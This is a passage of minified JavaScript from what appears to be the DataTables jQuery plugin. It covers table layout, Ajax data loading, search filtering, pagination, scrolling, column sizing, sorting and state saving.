c.bSort&&jb(a);d?aa(a,a.oPreviousSearch):a.aiDisplay=a.aiDisplayMaster.slice();!0!==b&&(a._iDisplayStart=0);J(a)}function kb(a){var b=a.oClasses,c=g(a.nTable),c=g("<div/>").insertBefore(c),d=a.oFeatures,e=g("<div/>",{id:a.sTableId+"_wrapper","class":b.sWrapper+(a.nTFoot?"":" "+b.sNoFooter)});a.nHolding=c[0];a.nTableWrapper=e[0];a.nTableReinsertBefore=a.nTable.nextSibling;for(var f=a.sDom.split(""),h,i,j,n,m,o,k=0;k<f.length;k++){h=null;i=f[k];if("<"==i){j=g("<div/>")[0];n=f[k+1];if("'"==n||'"'==n){m=
"";for(o=2;f[k+o]!=n;)m+=f[k+o],o++;"H"==m?m=b.sJUIHeader:"F"==m&&(m=b.sJUIFooter);-1!=m.indexOf(".")?(n=m.split("."),j.id=n[0].substr(1,n[0].length-1),j.className=n[1]):"#"==m.charAt(0)?j.id=m.substr(1,m.length-1):j.className=m;k+=o}e.append(j);e=g(j)}else if(">"==i)e=e.parent();else if("l"==i&&d.bPaginate&&d.bLengthChange)h=lb(a);else if("f"==i&&d.bFilter)h=mb(a);else if("r"==i&&d.bProcessing)h=nb(a);else if("t"==i)h=ob(a);else if("i"==i&&d.bInfo)h=pb(a);else if("p"==i&&d.bPaginate)h=qb(a);else if(0!==
p.ext.feature.length){j=p.ext.feature;o=0;for(n=j.length;o<n;o++)if(i==j[o].cFeature){h=j[o].fnInit(a);break}}h&&(j=a.aanFeatures,j[i]||(j[i]=[]),j[i].push(h),e.append(h))}c.replaceWith(e)}function $(a,b){var c=g(b).children("tr"),d,e,f,h,i,j,n,m,o,k;a.splice(0,a.length);f=0;for(j=c.length;f<j;f++)a.push([]);f=0;for(j=c.length;f<j;f++){d=c[f];for(e=d.firstChild;e;){if("TD"==e.nodeName.toUpperCase()||"TH"==e.nodeName.toUpperCase()){m=1*e.getAttribute("colspan");o=1*e.getAttribute("rowspan");m=!m||
0===m||1===m?1:m;o=!o||0===o||1===o?1:o;h=0;for(i=a[f];i[h];)h++;n=h;k=1===m?!0:!1;for(i=0;i<m;i++)for(h=0;h<o;h++)a[f+h][n+i]={cell:e,unique:k},a[f+h].nTr=d}e=e.nextSibling}}}function ma(a,b,c){var d=[];c||(c=a.aoHeader,b&&(c=[],$(c,b)));for(var b=0,e=c.length;b<e;b++)for(var f=0,h=c[b].length;f<h;f++)if(c[b][f].unique&&(!d[f]||!a.bSortCellsTop))d[f]=c[b][f].cell;return d}function na(a,b,c){t(a,"aoServerParams","serverParams",[b]);if(b&&g.isArray(b)){var d={},e=/(.*?)\[\]$/;g.each(b,function(a,b){var c=
b.name.match(e);c?(c=c[0],d[c]||(d[c]=[]),d[c].push(b.value)):d[b.name]=b.value});b=d}var f,h=a.ajax,i=a.oInstance;if(g.isPlainObject(h)&&h.data){f=h.data;var j=g.isFunction(f)?f(b):f,b=g.isFunction(f)&&j?j:g.extend(!0,b,j);delete h.data}j={data:b,success:function(b){var d=b.error||b.sError;d&&a.oApi._fnLog(a,0,d);a.json=b;t(a,null,"xhr",[a,b]);c(b)},dataType:"json",cache:!1,type:a.sServerMethod,error:function(b,c){var d=a.oApi._fnLog;"parsererror"==c?d(a,0,"Invalid JSON response",1):4===b.readyState&&
d(a,0,"Ajax error",7);C(a,!1)}};a.oAjaxData=b;t(a,null,"preXhr",[a,b]);a.fnServerData?a.fnServerData.call(i,a.sAjaxSource,g.map(b,function(a,b){return{name:b,value:a}}),c,a):a.sAjaxSource||"string"===typeof h?a.jqXHR=g.ajax(g.extend(j,{url:h||a.sAjaxSource})):g.isFunction(h)?a.jqXHR=h.call(i,b,c,a):(a.jqXHR=g.ajax(g.extend(j,h)),h.data=f)}function ib(a){if(a.bAjaxDataGet){a.iDraw++;C(a,!0);var b=rb(a);na(a,b,function(b){sb(a,b)},a);return!1}return!0}function rb(a){var b=a.aoColumns,c=b.length,d=a.oFeatures,
e=a.oPreviousSearch,f=a.aoPreSearchCols,h,i=[],j,n,m,o=Q(a);h=a._iDisplayStart;j=!1!==d.bPaginate?a._iDisplayLength:-1;var k=function(a,b){i.push({name:a,value:b})};k("sEcho",a.iDraw);k("iColumns",c);k("sColumns",B(b,"sName").join(","));k("iDisplayStart",h);k("iDisplayLength",j);var l={draw:a.iDraw,columns:[],order:[],start:h,length:j,search:{value:e.sSearch,regex:e.bRegex}};for(h=0;h<c;h++)n=b[h],m=f[h],j="function"==typeof n.mData?"function":n.mData,l.columns.push({data:j,name:n.sName,searchable:n.bSearchable,
orderable:n.bSortable,search:{value:m.sSearch,regex:m.bRegex}}),k("mDataProp_"+h,j),d.bFilter&&(k("sSearch_"+h,m.sSearch),k("bRegex_"+h,m.bRegex),k("bSearchable_"+h,n.bSearchable)),d.bSort&&k("bSortable_"+h,n.bSortable);d.bFilter&&(k("sSearch",e.sSearch),k("bRegex",e.bRegex));d.bSort&&(g.each(o,function(a,b){l.order.push({column:b.col,dir:b.dir});k("iSortCol_"+a,b.col);k("sSortDir_"+a,b.dir)}),k("iSortingCols",o.length));b=p.ext.legacy.ajax;return null===b?a.sAjaxSource?i:l:b?i:l}function sb(a,b){var c=
b.sEcho!==l?b.sEcho:b.draw,d=b.iTotalRecords!==l?b.iTotalRecords:b.recordsTotal,e=b.iTotalDisplayRecords!==l?b.iTotalDisplayRecords:b.recordsFiltered;if(c){if(1*c<a.iDraw)return;a.iDraw=1*c}ja(a);a._iRecordsTotal=parseInt(d,10);a._iRecordsDisplay=parseInt(e,10);c=oa(a,b);d=0;for(e=c.length;d<e;d++)H(a,c[d]);a.aiDisplay=a.aiDisplayMaster.slice();a.bAjaxDataGet=!1;J(a);a._bInitComplete||pa(a,b);a.bAjaxDataGet=!0;C(a,!1)}function oa(a,b){var c=g.isPlainObject(a.ajax)&&a.ajax.dataSrc!==l?a.ajax.dataSrc:
a.sAjaxDataProp;return"data"===c?b.aaData||b[c]:""!==c?T(c)(b):b}function mb(a){var b=a.oClasses,c=a.sTableId,d=a.oPreviousSearch,e=a.aanFeatures,f='<input type="search" class="'+b.sFilterInput+'" placeholder="'+a.oLanguage.sSearch+'"/>',h=a.oLanguage.sSearch,h=h.match(/_INPUT_/)?h.replace("_INPUT_",f):f,b=g("<div/>",{id:!e.f?c+"_filter":null,"class":b.sFilter}).append(g("<label/>").append(h)),e=function(){var b=!this.value?"":this.value;b!=d.sSearch&&(aa(a,{sSearch:b,bRegex:d.bRegex,bSmart:d.bSmart,bCaseInsensitive:d.bCaseInsensitive}),
a._iDisplayStart=0,J(a))},i=g("input",b).val(d.sSearch.replace('"',"&quot;")).bind("keyup.DT search.DT input.DT paste.DT cut.DT","ssp"===z(a)?Ma(e,400):e).bind("keypress.DT",function(a){if(13==a.keyCode)return!1}).attr("aria-controls",c);g(a.nTable).on("filter.DT",function(){try{i[0]!==N.activeElement&&i.val(d.sSearch)}catch(a){}});return b[0]}function aa(a,b,c){var d=a.oPreviousSearch,e=a.aoPreSearchCols,f=function(a){d.sSearch=a.sSearch;d.bRegex=a.bRegex;d.bSmart=a.bSmart;d.bCaseInsensitive=a.bCaseInsensitive};
Da(a);if("ssp"!=z(a)){tb(a,b.sSearch,c,b.bEscapeRegex!==l?!b.bEscapeRegex:b.bRegex,b.bSmart,b.bCaseInsensitive);f(b);for(b=0;b<e.length;b++)ub(a,e[b].sSearch,b,e[b].bEscapeRegex!==l?!e[b].bEscapeRegex:e[b].bRegex,e[b].bSmart,e[b].bCaseInsensitive);vb(a)}else f(b);a.bFiltered=!0;t(a,null,"search",[a])}function vb(a){for(var b=p.ext.search,c=a.aiDisplay,d,e,f=0,h=b.length;f<h;f++)for(var i=c.length-1;0<=i;i--)e=c[i],d=a.aoData[e],b[f](a,d._aFilterData,e,d._aData)||c.splice(i,1)}function ub(a,b,c,d,
e,f){if(""!==b)for(var h=a.aiDisplay,d=Na(b,d,e,f),e=h.length-1;0<=e;e--)b=a.aoData[h[e]]._aFilterData[c],d.test(b)||h.splice(e,1)}function tb(a,b,c,d,e,f){var d=Na(b,d,e,f),e=a.oPreviousSearch.sSearch,f=a.aiDisplayMaster,h;0!==p.ext.search.length&&(c=!0);h=wb(a);if(0>=b.length)a.aiDisplay=f.slice();else{if(h||c||e.length>b.length||0!==b.indexOf(e)||a.bSorted)a.aiDisplay=f.slice();b=a.aiDisplay;for(c=b.length-1;0<=c;c--)d.test(a.aoData[b[c]]._sFilterRow)||b.splice(c,1)}}function Na(a,b,c,d){a=b?a:
Oa(a);c&&(a="^(?=.*?"+g.map(a.match(/"[^"]+"|[^ ]+/g)||"",function(a){return'"'===a.charAt(0)?a.match(/^"(.*)"$/)[1]:a}).join(")(?=.*?")+").*$");return RegExp(a,d?"i":"")}function Oa(a){return a.replace(Sb,"\\$1")}function wb(a){var b=a.aoColumns,c,d,e,f,h,i,j,g,m=p.ext.type.search;c=!1;d=0;for(f=a.aoData.length;d<f;d++)if(g=a.aoData[d],!g._aFilterData){i=[];e=0;for(h=b.length;e<h;e++)c=b[e],c.bSearchable?(j=A(a,d,e,"filter"),j=m[c.sType]?m[c.sType](j):null!==j?j:""):j="",j.indexOf&&-1!==j.indexOf("&")&&
(qa.innerHTML=j,j=Tb?qa.textContent:qa.innerText),j.replace&&(j=j.replace(/[\r\n]/g,"")),i.push(j);g._aFilterData=i;g._sFilterRow=i.join("  ");c=!0}return c}function pb(a){var b=a.sTableId,c=a.aanFeatures.i,d=g("<div/>",{"class":a.oClasses.sInfo,id:!c?b+"_info":null});c||(a.aoDrawCallback.push({fn:xb,sName:"information"}),d.attr("role","status").attr("aria-live","polite"),g(a.nTable).attr("aria-describedby",b+"_info"));return d[0]}function xb(a){var b=a.aanFeatures.i;if(0!==b.length){var c=a.oLanguage,
d=a._iDisplayStart+1,e=a.fnDisplayEnd(),f=a.fnRecordsTotal(),h=a.fnRecordsDisplay(),i=h?c.sInfo:c.sInfoEmpty;h!==f&&(i+=" "+c.sInfoFiltered);i+=c.sInfoPostFix;i=yb(a,i);c=c.fnInfoCallback;null!==c&&(i=c.call(a.oInstance,a,d,e,f,h,i));g(b).html(i)}}function yb(a,b){var c=a.fnFormatNumber,d=a._iDisplayStart+1,e=a._iDisplayLength,f=a.fnRecordsDisplay(),h=-1===e;return b.replace(/_START_/g,c.call(a,d)).replace(/_END_/g,c.call(a,a.fnDisplayEnd())).replace(/_MAX_/g,c.call(a,a.fnRecordsTotal())).replace(/_TOTAL_/g,
c.call(a,f)).replace(/_PAGE_/g,c.call(a,h?1:Math.ceil(d/e))).replace(/_PAGES_/g,c.call(a,h?1:Math.ceil(f/e)))}function ra(a){var b,c,d=a.iInitDisplayStart,e=a.aoColumns,f;c=a.oFeatures;if(a.bInitialised){kb(a);hb(a);I(a,a.aoHeader);I(a,a.aoFooter);C(a,!0);c.bAutoWidth&&Ca(a);b=0;for(c=e.length;b<c;b++)f=e[b],f.sWidth&&(f.nTh.style.width=s(f.sWidth));K(a);e=z(a);"ssp"!=e&&("ajax"==e?na(a,[],function(c){var f=oa(a,c);for(b=0;b<f.length;b++)H(a,f[b]);a.iInitDisplayStart=d;K(a);C(a,!1);pa(a,c)},a):(C(a,
!1),pa(a)))}else setTimeout(function(){ra(a)},200)}function pa(a,b){a._bInitComplete=!0;b&&U(a);t(a,"aoInitComplete","init",[a,b])}function Pa(a,b){var c=parseInt(b,10);a._iDisplayLength=c;Qa(a);t(a,null,"length",[a,c])}function lb(a){for(var b=a.oClasses,c=a.sTableId,d=a.aLengthMenu,e=g.isArray(d[0]),f=e?d[0]:d,e=e?d[1]:d,d=g("<select/>",{name:c+"_length","aria-controls":c,"class":b.sLengthSelect}),h=0,i=f.length;h<i;h++)d[0][h]=new Option(e[h],f[h]);var j=g("<div><label/></div>").addClass(b.sLength);
a.aanFeatures.l||(j[0].id=c+"_length");b=a.oLanguage.sLengthMenu.split(/(_MENU_)/);j.children().append(1<b.length?[b[0],d,b[2]]:b[0]);g("select",j).val(a._iDisplayLength).bind("change.DT",function(){Pa(a,g(this).val());J(a)});g(a.nTable).bind("length.dt.DT",function(a,b,c){g("select",j).val(c)});return j[0]}function qb(a){var b=a.sPaginationType,c=p.ext.pager[b],d="function"===typeof c,e=function(a){J(a)},b=g("<div/>").addClass(a.oClasses.sPaging+b)[0],f=a.aanFeatures;d||c.fnInit(a,b,e);f.p||(b.id=
a.sTableId+"_paginate",a.aoDrawCallback.push({fn:function(a){if(d){var b=a._iDisplayStart,j=a._iDisplayLength,g=a.fnRecordsDisplay(),m=-1===j,b=m?0:Math.ceil(b/j),j=m?1:Math.ceil(g/j),g=c(b,j),o,m=0;for(o=f.p.length;m<o;m++)La(a,"pageButton")(a,f.p[m],m,g,b,j)}else c.fnUpdate(a,e)},sName:"pagination"}));return b}function Ra(a,b,c){var d=a._iDisplayStart,e=a._iDisplayLength,f=a.fnRecordsDisplay();0===f||-1===e?d=0:"number"===typeof b?(d=b*e,d>f&&(d=0)):"first"==b?d=0:"previous"==b?(d=0<=e?d-e:0,0>
d&&(d=0)):"next"==b?d+e<f&&(d+=e):"last"==b?d=Math.floor((f-1)/e)*e:O(a,0,"Unknown paging action: "+b,5);b=a._iDisplayStart!==d;a._iDisplayStart=d;b&&(t(a,null,"page",[a]),c&&J(a));return b}function nb(a){return g("<div/>",{id:!a.aanFeatures.r?a.sTableId+"_processing":null,"class":a.oClasses.sProcessing}).html(a.oLanguage.sProcessing).insertBefore(a.nTable)[0]}function C(a,b){a.oFeatures.bProcessing&&g(a.aanFeatures.r).css("display",b?"block":"none");t(a,null,"processing",[a,b])}function ob(a){var b=
g(a.nTable);b.attr("role","grid");var c=a.oScroll;if(""===c.sX&&""===c.sY)return a.nTable;var d=c.sX,e=c.sY,f=a.oClasses,h=b.children("caption"),i=h.length?h[0]._captionSide:null,j=g(b[0].cloneNode(!1)),n=g(b[0].cloneNode(!1)),m=b.children("tfoot");c.sX&&"100%"===b.attr("width")&&b.removeAttr("width");m.length||(m=null);c=g("<div/>",{"class":f.sScrollWrapper}).append(g("<div/>",{"class":f.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,width:d?!d?null:s(d):"100%"}).append(g("<div/>",
{"class":f.sScrollHeadInner}).css({"box-sizing":"content-box",width:c.sXInner||"100%"}).append(j.removeAttr("id").css("margin-left",0).append(b.children("thead")))).append("top"===i?h:null)).append(g("<div/>",{"class":f.sScrollBody}).css({overflow:"auto",height:!e?null:s(e),width:!d?null:s(d)}).append(b));m&&c.append(g("<div/>",{"class":f.sScrollFoot}).css({overflow:"hidden",border:0,width:d?!d?null:s(d):"100%"}).append(g("<div/>",{"class":f.sScrollFootInner}).append(n.removeAttr("id").css("margin-left",
0).append(b.children("tfoot")))).append("bottom"===i?h:null));var b=c.children(),o=b[0],f=b[1],k=m?b[2]:null;d&&g(f).scroll(function(){var a=this.scrollLeft;o.scrollLeft=a;m&&(k.scrollLeft=a)});a.nScrollHead=o;a.nScrollBody=f;a.nScrollFoot=k;a.aoDrawCallback.push({fn:V,sName:"scrolling"});return c[0]}function V(a){var b=a.oScroll,c=b.sX,d=b.sXInner,e=b.sY,f=b.iBarWidth,h=g(a.nScrollHead),i=h[0].style,j=h.children("div"),n=j[0].style,m=j.children("table"),j=a.nScrollBody,o=g(j),k=j.style,l=g(a.nScrollFoot).children("div"),
p=l.children("table"),r=g(a.nTHead),q=g(a.nTable),ba=q[0],L=ba.style,t=a.nTFoot?g(a.nTFoot):null,ca=a.oBrowser,v=ca.bScrollOversize,x,u,y,w,z,A=[],B=[],C=[],D,E=function(a){a=a.style;a.paddingTop="0";a.paddingBottom="0";a.borderTopWidth="0";a.borderBottomWidth="0";a.height=0};q.children("thead, tfoot").remove();z=r.clone().prependTo(q);x=r.find("tr");y=z.find("tr");z.find("th, td").removeAttr("tabindex");t&&(w=t.clone().prependTo(q),u=t.find("tr"),w=w.find("tr"));c||(k.width="100%",h[0].style.width=
"100%");g.each(ma(a,z),function(b,c){D=ga(a,b);c.style.width=a.aoColumns[D].sWidth});t&&F(function(a){a.style.width=""},w);b.bCollapse&&""!==e&&(k.height=o[0].offsetHeight+r[0].offsetHeight+"px");h=q.outerWidth();if(""===c){if(L.width="100%",v&&(q.find("tbody").height()>j.offsetHeight||"scroll"==o.css("overflow-y")))L.width=s(q.outerWidth()-f)}else""!==d?L.width=s(d):h==o.width()&&o.height()<q.height()?(L.width=s(h-f),q.outerWidth()>h-f&&(L.width=s(h))):L.width=s(h);h=q.outerWidth();F(E,y);F(function(a){C.push(a.innerHTML);
A.push(s(g(a).css("width")))},y);F(function(a,b){a.style.width=A[b]},x);g(y).height(0);t&&(F(E,w),F(function(a){B.push(s(g(a).css("width")))},w),F(function(a,b){a.style.width=B[b]},u),g(w).height(0));F(function(a,b){a.innerHTML='<div class="dataTables_sizing" style="height:0;overflow:hidden;">'+C[b]+"</div>";a.style.width=A[b]},y);t&&F(function(a,b){a.innerHTML="";a.style.width=B[b]},w);if(q.outerWidth()<h){u=j.scrollHeight>j.offsetHeight||"scroll"==o.css("overflow-y")?h+f:h;if(v&&(j.scrollHeight>
j.offsetHeight||"scroll"==o.css("overflow-y")))L.width=s(u-f);(""===c||""!==d)&&O(a,1,"Possible column misalignment",6)}else u="100%";k.width=s(u);i.width=s(u);t&&(a.nScrollFoot.style.width=s(u));!e&&v&&(k.height=s(ba.offsetHeight+f));e&&b.bCollapse&&(k.height=s(e),b=c&&ba.offsetWidth>j.offsetWidth?f:0,ba.offsetHeight<j.offsetHeight&&(k.height=s(ba.offsetHeight+b)));b=q.outerWidth();m[0].style.width=s(b);n.width=s(b);m=q.height()>j.clientHeight||"scroll"==o.css("overflow-y");ca="padding"+(ca.bScrollbarLeft?
"Left":"Right");n[ca]=m?f+"px":"0px";t&&(p[0].style.width=s(b),l[0].style.width=s(b),l[0].style[ca]=m?f+"px":"0px");o.scroll();if(a.bSorted||a.bFiltered)j.scrollTop=0}function F(a,b,c){for(var d=0,e=0,f=b.length,h,i;e<f;){h=b[e].firstChild;for(i=c?c[e].firstChild:null;h;)1===h.nodeType&&(c?a(h,i,d):a(h,d),d++),h=h.nextSibling,i=c?i.nextSibling:null;e++}}function Ca(a){var b=a.nTable,c=a.aoColumns,d=a.oScroll,e=d.sY,f=d.sX,h=d.sXInner,i=c.length,d=W(a,"bVisible"),j=g("th",a.nTHead),n=b.getAttribute("width"),
m=b.parentNode,o=!1,k,l;for(k=0;k<d.length;k++)l=c[d[k]],null!==l.sWidth&&(l.sWidth=zb(l.sWidthOrig,m),o=!0);if(!o&&!f&&!e&&i==Y(a)&&i==j.length)for(k=0;k<i;k++)c[k].sWidth=s(j.eq(k).width());else{i=g(b.cloneNode(!1)).css("visibility","hidden").removeAttr("id").append(g(a.nTHead).clone(!1)).append(g(a.nTFoot).clone(!1)).append(g("<tbody><tr/></tbody>"));i.find("tfoot th, tfoot td").css("width","");var p=i.find("tbody tr"),j=ma(a,i.find("thead")[0]);for(k=0;k<d.length;k++)l=c[d[k]],j[k].style.width=
null!==l.sWidthOrig&&""!==l.sWidthOrig?s(l.sWidthOrig):"";if(a.aoData.length)for(k=0;k<d.length;k++)o=d[k],l=c[o],g(Ab(a,o)).clone(!1).append(l.sContentPadding).appendTo(p);i.appendTo(m);f&&h?i.width(h):f?(i.css("width","auto"),i.width()<m.offsetWidth&&i.width(m.offsetWidth)):e?i.width(m.offsetWidth):n&&i.width(n);Bb(a,i[0]);if(f){for(k=h=0;k<d.length;k++)l=c[d[k]],e=g(j[k]).outerWidth(),h+=null===l.sWidthOrig?e:parseInt(l.sWidth,10)+e-g(j[k]).width();i.width(s(h));b.style.width=s(h)}for(k=0;k<d.length;k++)if(l=
c[d[k]],e=g(j[k]).width())l.sWidth=s(e);b.style.width=s(i.css("width"));i.remove()}n&&(b.style.width=s(n));if((n||f)&&!a._reszEvt)g(za).bind("resize.DT-"+a.sInstance,Ma(function(){U(a)})),a._reszEvt=!0}function Ma(a,b){var c=b||200,d,e;return function(){var b=this,h=+new Date,i=arguments;d&&h<d+c?(clearTimeout(e),e=setTimeout(function(){d=l;a.apply(b,i)},c)):d?(d=h,a.apply(b,i)):d=h}}function zb(a,b){if(!a)return 0;var c=g("<div/>").css("width",s(a)).appendTo(b||N.body),d=c[0].offsetWidth;c.remove();
return d}function Bb(a,b){var c=a.oScroll;if(c.sX||c.sY)c=!c.sX?c.iBarWidth:0,b.style.width=s(g(b).outerWidth()-c)}function Ab(a,b){var c=Cb(a,b);if(0>c)return null;var d=a.aoData[c];return!d.nTr?g("<td/>").html(A(a,c,b,"display"))[0]:d.anCells[b]}function Cb(a,b){for(var c,d=-1,e=-1,f=0,h=a.aoData.length;f<h;f++)c=A(a,f,b,"display")+"",c=c.replace(Ub,""),c.length>d&&(d=c.length,e=f);return e}function s(a){return null===a?"0px":"number"==typeof a?0>a?"0px":a+"px":a.match(/\d$/)?a+"px":a}function Db(){if(!p.__scrollbarWidth){var a=
g("<p/>").css({width:"100%",height:200,padding:0})[0],b=g("<div/>").css({position:"absolute",top:0,left:0,width:200,height:150,padding:0,overflow:"hidden",visibility:"hidden"}).append(a).appendTo("body"),c=a.offsetWidth;b.css("overflow","scroll");a=a.offsetWidth;c===a&&(a=b[0].clientWidth);b.remove();p.__scrollbarWidth=c-a}return p.__scrollbarWidth}function Q(a){var b,c,d=[],e=a.aoColumns,f,h,i,j;b=a.aaSortingFixed;c=g.isPlainObject(b);var n=[];f=function(a){a.length&&!g.isArray(a[0])?n.push(a):n.push.apply(n,
a)};g.isArray(b)&&f(b);c&&b.pre&&f(b.pre);f(a.aaSorting);c&&b.post&&f(b.post);for(a=0;a<n.length;a++){j=n[a][0];f=e[j].aDataSort;b=0;for(c=f.length;b<c;b++)h=f[b],i=e[h].sType||"string",d.push({src:j,col:h,dir:n[a][1],index:n[a][2],type:i,formatter:p.ext.type.order[i+"-pre"]})}return d}function jb(a){var b,c,d=[],e=p.ext.type.order,f=a.aoData,h=0,i,g=a.aiDisplayMaster,n;Da(a);n=Q(a);b=0;for(c=n.length;b<c;b++)i=n[b],i.formatter&&h++,Eb(a,i.col);if("ssp"!=z(a)&&0!==n.length){b=0;for(c=g.length;b<c;b++)d[g[b]]=
b;h===n.length?g.sort(function(a,b){var c,e,h,g,i=n.length,j=f[a]._aSortData,l=f[b]._aSortData;for(h=0;h<i;h++)if(g=n[h],c=j[g.col],e=l[g.col],c=c<e?-1:c>e?1:0,0!==c)return"asc"===g.dir?c:-c;c=d[a];e=d[b];return c<e?-1:c>e?1:0}):g.sort(function(a,b){var c,h,g,i,j=n.length,l=f[a]._aSortData,p=f[b]._aSortData;for(g=0;g<j;g++)if(i=n[g],c=l[i.col],h=p[i.col],i=e[i.type+"-"+i.dir]||e["string-"+i.dir],c=i(c,h),0!==c)return c;c=d[a];h=d[b];return c<h?-1:c>h?1:0})}a.bSorted=!0}function Fb(a){for(var b,c,
d=a.aoColumns,e=Q(a),a=a.oLanguage.oAria,f=0,h=d.length;f<h;f++){c=d[f];var i=c.asSorting;b=c.sTitle.replace(/<.*?>/g,"");var g=c.nTh;g.removeAttribute("aria-sort");c.bSortable&&(0<e.length&&e[0].col==f?(g.setAttribute("aria-sort","asc"==e[0].dir?"ascending":"descending"),c=i[e[0].index+1]||i[0]):c=i[0],b+="asc"===c?a.sSortAscending:a.sSortDescending);g.setAttribute("aria-label",b)}}function Sa(a,b,c,d){var e=a.aaSorting,f=a.aoColumns[b].asSorting,h=function(a){var b=a._idx;b===l&&(b=g.inArray(a[1],
f));return b+1>=f.length?0:b+1};c&&a.oFeatures.bSortMulti?(c=g.inArray(b,B(e,"0")),-1!==c?(b=h(e[c]),e[c][1]=f[b],e[c]._idx=b):(e.push([b,f[0],0]),e[e.length-1]._idx=0)):e.length&&e[0][0]==b?(b=h(e[0]),e.length=1,e[0][1]=f[b],e[0]._idx=b):(e.length=0,e.push([b,f[0]]),e[0]._idx=0);K(a);"function"==typeof d&&d(a)}function Ka(a,b,c,d){var e=a.aoColumns[c];Ta(b,{},function(b){!1!==e.bSortable&&(a.oFeatures.bProcessing?(C(a,!0),setTimeout(function(){Sa(a,c,b.shiftKey,d);"ssp"!==z(a)&&C(a,!1)},0)):Sa(a,
c,b.shiftKey,d))})}function sa(a){var b=a.aLastSort,c=a.oClasses.sSortColumn,d=Q(a),e=a.oFeatures,f,h;if(e.bSort&&e.bSortClasses){e=0;for(f=b.length;e<f;e++)h=b[e].src,g(B(a.aoData,"anCells",h)).removeClass(c+(2>e?e+1:3));e=0;for(f=d.length;e<f;e++)h=d[e].src,g(B(a.aoData,"anCells",h)).addClass(c+(2>e?e+1:3))}a.aLastSort=d}function Eb(a,b){var c=a.aoColumns[b],d=p.ext.order[c.sSortDataType],e;d&&(e=d.call(a.oInstance,a,b,X(a,b)));for(var f,h=p.ext.type.order[c.sType+"-pre"],g=0,j=a.aoData.length;g<
j;g++)if(c=a.aoData[g],c._aSortData||(c._aSortData=[]),!c._aSortData[b]||d)f=d?e[g]:A(a,g,b,"sort"),c._aSortData[b]=h?h(f):f}function ta(a){if(a.oFeatures.bStateSave&&!a.bDestroying){var b={iCreate:+new Date,iStart:a._iDisplayStart,iLength:a._iDisplayLength,aaSorting:g.extend(!0,[],a.aaSorting),oSearch:g.extend(!0,{},a.oPreviousSearch),aoSearchCols:g.extend(!0,[],a.aoPreSearchCols),abVisCols:B(a.aoColumns,"bVisible")};t(a,"aoStateSaveParams","stateSaveParams",[a,b]);a.fnStateSaveCallback.call(a.oInstance,
a,b)}}function Gb(a){var b,c,d=a.aoColumns;if(a.oFeatures.bStateSave){var e=a.fnStateLoadCallback.call(a.oInstance,a);if(e&&(b=t(a,"aoStateLoadParams","stateLoadParams",[a,e]),-1===g.inArray(!1,b)&&(b=a.iStateDuration,!(0<b&&e.iCreate<+new Date-1E3*b)&&d.length===e.aoSearchCols.length))){a.oLoadedState=g.extend(!0,{},e);a._iDisplayStart=e.iStart;a.iInitDisplayStart=e.iStart;a._iDisplayLength=e.iLength;a.aaSorting=g.map(e.aaSorting,function(a){return a[0]>=d.length?[0,a[1]]:a});g.extend(a.oPreviousSearch,
e.oSearch);g.extend(!0,a.aoPreSearchCols,e.aoSearchCols);var f=e.abVisCols;b=0;for(c=f.length;b<c;b++)d[b].bVisible=f[b];t(a,"aoStateLoaded","stateLoaded",[a,e])}}}function ua(a){var b=p.settings,a=g.inArray(a,B(b,"nTable"));return-1!==a?b[a]:null}function O(a,b,c,d){c="DataTables warning: "+(null!==a?"table id="+a.sTableId+" - ":"")+c;d&&(c+=". For more information about this error, please see http://datatables.net/tn/"+d);if(b)za.console&&console.log&&console.log(c);else if(a=p.ext,"alert"==(a.sErrMode||
a.errMode))alert(c);else throw Error(c);}function D(a,b,c,d){g.isArray(c)?g.each(c,function(c,d){g.isArray(d)?D(a,b,d[0],d[1]):D(a,b,d)}):(d===l&&(d=c),b[c]!==l&&(a[d]=b[c]))}function Hb(a,b,c){var d,e;for(e in b)b.hasOwnProperty(e)&&(d=b[e],g.isPlainObject(d)?(g.isPlainObject(a[e])||(a[e]={}),g.extend(!0,a[e],d)):a[e]=c&&"data"!==e&&"aaData"!==e&&g.isArray(d)?d.slice():d);return a}function Ta(a,b,c){g(a).bind("click.DT",b,function(b){a.blur();c(b)}).bind("keypress.DT",b,function(a){13===a.which&&
(a.preventDefault(),c(a))}).bind("selectstart.DT",function(){return!1})}function y(a,b,c,d){c&&a[b].push({fn:c,sName:d})}function t(a,b,c,d){var e=[];b&&(e=g.map(a[b].slice().reverse(),function(b){return b.fn.apply(a.oInstance,d)}));null!==c&&g(a.nTable).trigger(c+".dt",d);return e}function Qa(a){var b=a._iDisplayStart,c=a.fnDisplayEnd(),d=a._iDisplayLength;c===a.fnRecordsDisplay()&&(b=c-d);if(-1===d||0>b)b=0;a._iDisplayStart=b}function La(a,b){var c=a.renderer,d=p.ext.renderer[b];return g.isPlainObject(c)&&
c[b]?d[c[b]]||d._:"string"===typeof c?d[c]||d._:d._}function z(a){return a.oFeatures.bServerSide?"ssp":a.ajax||a.sAjaxSource?"ajax":"dom"}function Ua(a,b){var c=[],c=Ib.numbers_length,d=Math.floor(c/2);b<=c?c=R(0,b):a<=d?(c=R(0,c-2),c.push("ellipsis"),c.push(b-1)):(a>=b-1-d?c=R(b-(c-2),b):(c=R(a-1,a+2),c.push("ellipsis"),c.push(b-1)),c.splice(0,0,"ellipsis"),c.splice(0,0,0));c.DT_el="span";return c}function bb(a){g.each({num:function(b){return va(b,a)},"num-fmt":function(b){return va(b,a,Va)},"html-num":function(b){return va(b,
a,wa)},"html-num-fmt":function(b){return va(b,a,wa,Va)}},function(b,c){u.type.order[b+a+"-pre"]=c})}function Jb(a){return function(){var b=[ua(this[p.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return p.ext.internal[a].apply(this,b)}}var p,u,q,r,x,Wa={},Kb=/[\r\n]/g,wa=/<.*?>/g,Vb=/^[\d\+\-a-zA-Z]/,Sb=RegExp("(\\/|\\.|\\*|\\+|\\?|\\||\\(|\\)|\\[|\\]|\\{|\\}|\\\\|\\$|\\^|\\-)","g"),Va=/[',$\u00a3\u20ac\u00a5%\u2009\u202F]/g,da=function(a){return!a||"-"===a?!0:!1},Lb=function(a){var b=
